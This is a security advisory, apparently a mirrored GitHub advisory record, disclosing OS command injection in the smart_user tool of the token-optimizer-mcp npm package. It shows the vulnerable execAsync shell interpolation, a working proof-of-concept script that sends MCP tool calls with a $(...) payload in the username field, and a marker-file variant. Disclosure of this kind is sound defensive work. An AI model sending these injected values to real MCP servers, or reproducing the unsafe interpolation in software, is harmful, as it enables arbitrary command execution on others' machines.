GHSA-49MQ-FC6Q-3H46
Vulnerability from github – Published: 2026-08-14 21:42 – Updated: 2026-08-14 21:42Summary
token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool.
The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():
getent passwd "${username}" || grep "^${username}:" /etc/passwd
Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:
$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)
and execute arbitrary local commands with the privileges of the user running the MCP server.
This is a CWE-78 OS command injection issue.
Tested version:
@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0
This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.
Details
The vulnerable code path is in the smart_user implementation.
The username argument is eventually passed into a shell command similar to:
const { stdout: passwdOut } = await execAsync(
`getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);
The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.
Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:
"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"`id`"
Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.
The affected MCP tool call is:
tool: smart_user
operation: get-user-info
argument: username
Root cause:
MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution
PoC
The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.
Prerequisites:
Node.js installed
token-optimizer-mcp built from source
Build from source:
git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build
Run the PoC:
cd /path/to/token-optimizer-mcp
ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"
echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"
python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log
import json
import sys
id_out = sys.argv[1]
# This value is inserted into:
# getent passwd "${username}" || grep "^${username}:" /etc/passwd
# Command substitution still executes inside double quotes.
evil_username = f'$(id > {id_out})'
messages = [
{
"jsonrpc": "2.0",
"id": "init",
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {
"name": "poc",
"version": "0"
}
}
},
{
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {}
},
{
"jsonrpc": "2.0",
"id": "poc-smart-user",
"method": "tools/call",
"params": {
"name": "smart_user",
"arguments": {
"operation": "get-user-info",
"username": evil_username,
"useCache": False
}
}
}
]
for msg in messages:
print(json.dumps(msg), flush=True)
PY
sleep 1
if [ -f "$ID_OUT" ]; then
echo "[VULN CONFIRMED] smart_user command injection executed:"
cat "$ID_OUT"
ls -l "$ID_OUT"
else
echo "[FAIL] smart_user id output file not created"
tail -120 /tmp/token_optimizer_smart_user_poc.log
fi
Expected result:
[VULN CONFIRMED] smart_user command injection executed:
uid=1001(<local-user>) gid=1001(<local-user>) groups=...
-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...
In my test, the MCP response also showed that the payload reached the shell command:
Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd
The file /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... was created and contained the output of id, confirming command execution as the MCP server user.
A simpler marker-file variant also works:
{
"operation": "get-user-info",
"username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
"useCache": false
}
Impact
This is an OS command injection vulnerability.
Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation.
The commands execute with the privileges of the user running the token-optimizer-mcp server.
Confirmed impact:
execution of `id` as the MCP server user
arbitrary file creation under /tmp through an injected command
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@ooples/token-optimizer-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55157"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-14T21:42:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.\n\nThe `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:\n\n```ts\ngetent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n```\n\nAlthough the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:\n\n```text\n$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\n```\n\nand execute arbitrary local commands with the privileges of the user running the MCP server.\n\nThis is a CWE-78 OS command injection issue.\n\nTested version:\n\n```text\n@ooples/token-optimizer-mcp v5.0.1\nMCP serverInfo.name: token-optimizer-mcp\nMCP serverInfo.version: 0.2.0\n```\n\nThis issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`\u0027s own tool implementation.\n\n---\n\n### Details\n\nThe vulnerable code path is in the `smart_user` implementation.\n\nThe `username` argument is eventually passed into a shell command similar to:\n\n```ts\nconst { stdout: passwdOut } = await execAsync(\n `getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd`\n);\n```\n\nThe problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.\n\nDouble quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:\n\n```bash\n\"$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\"\n\"`id`\"\n```\n\nTherefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.\n\nThe affected MCP tool call is:\n\n```text\ntool: smart_user\noperation: get-user-info\nargument: username\n```\n\nRoot cause:\n\n```text\nMCP-controlled username\n\u2192 interpolated into shell command string\n\u2192 executed through execAsync()\n\u2192 shell evaluates $(...) / backticks\n\u2192 arbitrary command execution\n```\n\n---\n\n### PoC\n\nThe following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.\n\nPrerequisites:\n\n```text\nNode.js installed\ntoken-optimizer-mcp built from source\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/ooples/token-optimizer-mcp.git\ncd token-optimizer-mcp\nnpm install\nnpm run build\n```\n\nRun the PoC:\n\n```bash\ncd /path/to/token-optimizer-mcp\n\nENTRY=dist/server/index.js\nID_OUT=\"/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$\"\nrm -f \"$ID_OUT\"\n\necho \"[*] ENTRY=$ENTRY\"\necho \"[*] id output file: $ID_OUT\"\n\npython3 - \"$ID_OUT\" \u003c\u003c\u0027PY\u0027 | timeout 20 node \"$ENTRY\" 2\u003e\u00261 | tee /tmp/token_optimizer_smart_user_poc.log\nimport json\nimport sys\n\nid_out = sys.argv[1]\n\n# This value is inserted into:\n# getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n# Command substitution still executes inside double quotes.\nevil_username = f\u0027$(id \u003e {id_out})\u0027\n\nmessages = [\n {\n \"jsonrpc\": \"2.0\",\n \"id\": \"init\",\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\n \"name\": \"poc\",\n \"version\": \"0\"\n }\n }\n },\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {}\n },\n {\n \"jsonrpc\": \"2.0\",\n \"id\": \"poc-smart-user\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"smart_user\",\n \"arguments\": {\n \"operation\": \"get-user-info\",\n \"username\": evil_username,\n \"useCache\": False\n }\n }\n }\n]\n\nfor msg in messages:\n print(json.dumps(msg), flush=True)\nPY\n\nsleep 1\n\nif [ -f \"$ID_OUT\" ]; then\n echo \"[VULN CONFIRMED] smart_user command injection executed:\"\n cat \"$ID_OUT\"\n ls -l \"$ID_OUT\"\nelse\n echo \"[FAIL] smart_user id output file not created\"\n tail -120 /tmp/token_optimizer_smart_user_poc.log\nfi\n```\n\nExpected result:\n\n```text\n[VULN CONFIRMED] smart_user command injection executed:\nuid=1001(\u003clocal-user\u003e) gid=1001(\u003clocal-user\u003e) groups=...\n-rw-rw-r-- 1 \u003clocal-user\u003e \u003clocal-user\u003e ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...\n```\n\nIn my test, the MCP response also showed that the payload reached the shell command:\n\n```text\nCommand failed: getent passwd \"$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)\" || grep \"^$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):\" /etc/passwd\n```\n\nThe file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.\n\nA simpler marker-file variant also works:\n\n```json\n{\n \"operation\": \"get-user-info\",\n \"username\": \"$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)\",\n \"useCache\": false\n}\n```\n\n---\n\n### Impact\n\nThis is an OS command injection vulnerability.\n\nAny MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.\n\nThe commands execute with the privileges of the user running the `token-optimizer-mcp` server.\n\nConfirmed impact:\n\n```text\nexecution of `id` as the MCP server user\narbitrary file creation under /tmp through an injected command\n```",
"id": "GHSA-49mq-fc6q-3h46",
"modified": "2026-08-14T21:42:06Z",
"published": "2026-08-14T21:42:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46"
},
{
"type": "WEB",
"url": "https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7"
},
{
"type": "PACKAGE",
"url": "https://github.com/ooples/token-optimizer-mcp"
},
{
"type": "WEB",
"url": "https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Token Optimizer MCP: OS command injection in smart_user via username in get-user-info"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.